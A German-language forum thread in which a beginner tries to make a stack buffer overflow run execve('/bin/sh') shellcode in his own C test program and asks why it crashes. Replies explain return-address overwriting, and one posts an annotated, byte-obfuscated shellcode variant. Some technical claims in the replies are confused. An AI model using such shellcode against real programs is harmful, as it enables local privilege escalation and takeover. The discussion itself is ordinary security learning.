bufferoverflow

Post Reply
Message
Author
snake

bufferoverflow

#1 Post by snake »

hallo

Ich hab da ein problem ;).
Bin gerade dran das problem bufferoverflows genauer anzuschauen, doch mein erstes progrämmchen bei dem ich das erlernte wissen zu "praktizieren" versuche, will einfach nicht.
(sorry wenn das vielleicht nicht gerade das passende forum dafür ist, doch ich kenne nunmal nichts passenders)
Am besten einmal den code:
-----code--------------
#include <stdlib.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\xbf\xff\xfc\x23";

void main()
{
char buffer[90];
strcpy(buffer,shellcode);
printf("0x%x
",&buffer");
}


-------code--------

Also shellcode ist klar:
Er ist 94bytes gross + noch die 4bytes am schluss in denen eigentlich die neue "rücksprungaddresse" sein soll.
(die bekommt man bei printf)
Den anfang des shellcodes habe ich mit nop-operationen gefüllt.
Der buffer der zu überschreiben ist, ist 90 bytes gross.
Um die "neue" rücksprungaddresse zu bekommen, habe ich mir gedacht ich könnte da einfach einmal die anfangs addresse des buffer arrays übernehmen.
Ich glaube hier irgendwo muss der fehler sein.(bei der berechnung der "neuen" rücksprungaddresse)

ich hoffe jemand kann mir da weiter helfen

ps:

bash$ ./bof
0xbffffc23
Speicherzugriffsfehler
bash$

bakunin
Posts: 597
Joined: 16. Aug 1999 6:44
Location: Lorsch (Südhessen)
Contact:

Re: bufferoverflow

#2 Post by bakunin »

Hi!

Mir wäre neu, dass man in einen Datenbereich springen kann. Unter DOS mag das ja gehen, aber...

Cheers,
GNU/Wolfgang

snake

Re: bufferoverflow

#3 Post by snake »

hallo

Wie meinst du das in einen Datenbereich ?
(Datasegment ?, bin nicht greade der assembler hero ;)
Ich versuch ja den code auszuführen den ich in buffer[] habe, und buffer[] befindet sich auf dem stack.
Darum brauch ich die anfangsaddresse von buffer. Doch ist die richtig ?
<printf("0x%x",&buffer");>
Ich dachte mir so müsste es gehen, doch ich glaube genau dies stimmt nicht, weil ja ein speicherzugriffs-fehler auftritt.
(oder ich überschreibe die alte rücksprungsaddresse falsch !?!)
Wie schon gesagt ich bin totaller anfänger in bufferoverflow-bugs und asm.

danke noch

bye

ps: bitte nicht falsch verstehen, ich bin kein cracker.(ok, momentan wäre ich sowieso nicht dazu fähig ;)
Es ist nur interesse !

Descartes

Re: bufferoverflow

#4 Post by Descartes »

Was hast du eigentlich mit dem printf("%x",...) vor ?
Wenn du dir buffer in Hex ausgeben lassen möchtest dann mach es halt auch:

BTW: mit [<!--no-->code<!--no-->]...[<!--no-->\<!--no-->code<!--no-->] wird auch dein Quellcode nicht so sehr verunstaltet (siehe hilfe)

<blockquote><pre><font size="1" face="">code:</font><hr><font face="Courier New" size="2">
#include <stdio.h>
#include <stdlib.h>

char shellcode[<!--no--><!--no-->] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\xbf\xff\xfc\x23";

int main(void)
{
int i;
char *buffer = NULL;

// buffer = (char*) malloc( strlen(shellcode) * sizeof(char) );
buffer = (char*) calloc( strlen(shellcode), sizeof(char) );
if (buffer == NULL) { printf("\<!--no-->nSpeicher kann nicht bereitgestellt werden"); return(-1); }
strcpy( buffer, shellcode );

printf(" laenge = %i\<!--no-->n", strlen(buffer) );

for(i=0; i<strlen(buffer); i++)
printf("%x",buffer[<!--no-->i<!--no-->]);

printf("\<!--no-->n");
free( buffer );
return( 0 );
}
</font><hr></pre></blockquote>

bakunin
Posts: 597
Joined: 16. Aug 1999 6:44
Location: Lorsch (Südhessen)
Contact:

Re: bufferoverflow

#5 Post by bakunin »

Hi!

> Wie meinst du das in einen Datenbereich ?
> (Datasegment ?, bin nicht greade der assembler hero ;)

Ja, das meinte ich.

> Ich versuch ja den code auszuführen den ich in buffer[] habe, und buffer[] befindet sich auf dem stack.

Richtig. Aber warum glaubst du, dass man Code auf dem Stack ausführen kann? Kein vernünftiges Betriebssystem lässt sowas zu.

> ps: bitte nicht falsch verstehen, ich bin kein cracker.

Kein Problem. Es ist vollkommen legitim, sich mit Sicherheitsaspekten zu befassen. Wenn jeder, der sich damit befasst, ein Cracker wäre, hätten wir ein ernsthaftes Problem. <img src="http://www.pl-forum.de/UltraBoard/Images/Wilk.gif" border="0" align="middle"> Und selbst wenn du einer wärst, würde ich deswegen kein Wissen zurückhalten.

Cheers,
GNU/Wolfgang

Descartes

Re: bufferoverflow

#6 Post by Descartes »

Wie wäre es, wenn man die Speicheradresse von "buffer" + 0x46 (da beginnt ja das /bin/sh ...) mit Hilfe von ein/zwei Zeilen inline Assembler an den Stackpointer weiterreichen würde (überschreiben des aktuellen Stackpointer) ?

Als ich mal vor einiger Zeit mit Assembler ein bisschen rumgespielt habe wurde mir das rumspielen am SP bei einer Schleife zum Verhängnis (movl %eax, %esp) sodass das Programm entweder gecrasht ist oder sich in einer Endlosschleife befand.

Descartes

Re: bufferoverflow

#7 Post by Descartes »

> Richtig. Aber warum glaubst du, dass man Code auf dem Stack ausführen kann?
> Kein vernünftiges Betriebssystem lässt sowas zu.

Bei den Security-Exploits wird aber teilweise genau dies in Verbindung mit einem Bufferoverrun ausgenutzt.

Ein Programm erwartet eine Eingabe (entweder per Konsole oder Webbrowser oder ...). Den String den ich dem Programm dann übergebe muss dann
a) entsprechend aufgebaut sein sodass es zu einem Bufferoverrun kommt
b) eine (oder mehrere) Befehl(e) enthalten die ich ausführen möchte (z.B. /bin/sh)
c) den Stackpointer dahingehend abändern dass wenn der Bufferoverrun auftritt auf dem Stackpointer die Speicheradresse steht, an der mein Befehl anfängt.
Somit wird nicht mehr in das ursprüngliche Programm zurückgesprungen, sondern mein Befehl ausgeführt weil das Programm an eine ganz andere Speicheradresse (eben meine) zurückspringt statt den eigentlich nächsten Programmbefehl auszuführen.

Wenn sich hier jemand etwas besser mit Assembler auskennt soll er doch hier mal posten.

Beispiel in folgendem Programm:
Bei jedem call von einem Unterprogramm wird
* die aktuelle Speicheradresse im Register SP gelegt (passiert automatisch)
* an die betreffende Speicheradresse gesprungen wo das Unterprogramm definiert ist
* die dortigen Befehle ausgeführt
* bei einem return wird wieder in die aufrufende Prozedur zurückgesprungen. Hierzu wird einfach die Speicheradresse aus SP ausgelesen und dorthin gesprungen. Durch Manipulation des SP Register z.B. mit "mov IRGENDWAS_SINNVOLLES, sp" kann der dortige Wert manuell geändert werden (kann durchaus sinnvoll sein -- wenn auch selten).

<blockquote><pre><font size="1" face="">code:</font><hr><font face="Courier New" size="2">
%TITLE "Sums TWO hex values"

IDEAL
DOSSEG
MODEL small
STACK 256
DATASEG

exitCode db 0
prompt1 db 'Enter value 1: ', 0
prompt2 db 'Enter value 2: ', 0
string db 20 DUP (?)

CODESEG

EXTRN StrLength:proc
EXTRN StrWrite:proc, StrRead:proc, NewLine:proc
EXTRN AscToBin:proc, BinToAscHex:proc

Start:
mov ax, @data
mov ds,ax
mov es,ax
mov di, offset prompt1
call GetValue
push ax
mov di, offset prompt2
call GetValue
pop bx
add ax, bx
mov cx, 4
mov di, offset string
call BinToAscHex
call StrWrite

Exit:
mov ah,04Ch
mov al, [exitCode]
int 21h

PROC GetValue
call StrWrite
mov di, offset string
mov cl, 4
call StrRead
call NewLine
call StrLength
mov bx, cx
mov [word bx + di], 'h'
call AscToBin
ret

ENDP GetValue
END Start
</font><hr></pre></blockquote>

Descartes

Re: bufferoverflow

#8 Post by Descartes »

Dein Shellcode müsste dann aber etwas ander aussehen. Direkt ein "/bin/sh" auf den Speicher zu legen wird nicht funktionieren. Schliesslich muss das was dort dann mit einem manipulierten Stackpointer angesprungen wird auch bereits ausführbar (sprich in kompilierter Form) vorliegen.

Kurzes Beispiel:
<blockquote><pre><font size="1" face="">code:</font><hr><font face="Courier New" size="2">
char shellcode[]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
</font><hr></pre></blockquote>

Weiteres auf:

Holger van Koll
buffer overflow basics
programm code ausführen mit exploit
<a href="http://www.vankoll.de/sec/bo1.html" target="_blank"><!--auto-->http://www.vankoll.de/sec/bo1.html</a><!--auto-->

bakunin
Posts: 597
Joined: 16. Aug 1999 6:44
Location: Lorsch (Südhessen)
Contact:

Re: bufferoverflow

#9 Post by bakunin »

Hi!

> Bei den Security-Exploits wird aber teilweise genau dies in Verbindung mit einem Bufferoverrun ausgenutzt.

Dann möchte ich mal wissen, warum es erlaubt ist, Code auf dem Stack auszuführen. Oder ist das nur eine der unsinnigen Sicherheitsprobleme, die Unix eben mit sich herumschleppt, für die es aber eigentlich keinen Grund gibt?

Cheers,
GNU/Wolfgang

snake

Re: bufferoverflow

#10 Post by snake »

hallo

danke erstmals für die antworten
(das deutsche tutorial kannte ich noch gar nicht, danke)

>Dein Shellcode müsste dann aber etwas ander aussehen. Direkt ein "/bin/sh" auf den Speicher zu legen wird nicht funktionieren. Schliesslich muss das was dort dann mit einem manipulierten Stackpointer angesprungen wird auch bereits ausführbar (sprich in kompilierter Form) vorliegen.<

Er ist ja auch in "kompilierter" form vorhanden. Der "code" in shellcode[] bewirkt ein execv syscall.(startet /bin/sh)


char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\xbf\xff\xfc\x23";

Ich hab den anfang des shellcode mitnop-(0x90)-operationen gefüllt(d.h es wird nichts gemacht), somit muss ich nicht die genaue addresse des buffer
kennen, aber in diesem falle bringt es mir ja nichts, aber egal. Die letzten 4 bytes formen die Addresse des buffer anfangs(die erste nop-operation) Sie ist
dort, weil dort die RET(Rücksprungaddresse) liegen müsste. Somit müsste ich sie überschrieben haben
und wenn main()-endet müsste dorthin gesprungen werden, d.h buffer bzw. der
shellcode in buffer muss ausgeführt werden.


Die Buffer[]anfangsaddresse, dachte ich mir, könnte ich mit printf("0x%x",&buffer") herausfinden.
(d.h 1-mal ausführen und addresse in shellcode(letzte 4 bytes) einfügen)
Doch leider gehts nicht.
Entweder ich berechne die buffer[]anfangsaddresse falsch oder die alte rücksprungsaddresse auf dem stack wird gar nicht richtig überschrieben.
Doch ich konnte den fehler nicht finden ;(.

hoffe nun ist es klarer

danke noch

bye

ps: alles nochmal:
<blockquote><pre><font size="1" face="">code:</font><hr><font face="Courier New" size="2">
#include <stdlib.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\xbf\xff\xfc\x20";


void main()
{
char buffer[90];
strcpy(buffer,shellcode);
printf("0x%x
",&buffer);
}

</font><hr></pre></blockquote>

bash: ./bof
0xbffffc20
Speicherzugriffsfehler
bash:

Taurus

Re: bufferoverflow

#11 Post by Taurus »

http://www.theo2.physik.uni-stuttgart.d ... orial.html

Hier ist ein gutes Tutorial. Das kannst dir wenn du Zeit hast auchmal anschaun.


Das Code auf dem Stack ausgeführt werden liegt soweit mir bekannt an der Architektur der Prozessoren.
Es gibt nur verschiedene Patches für den Kernel um dies zu unterbinden.
Doch dann gibt es aber immernoch Heap Overflows...

Post Reply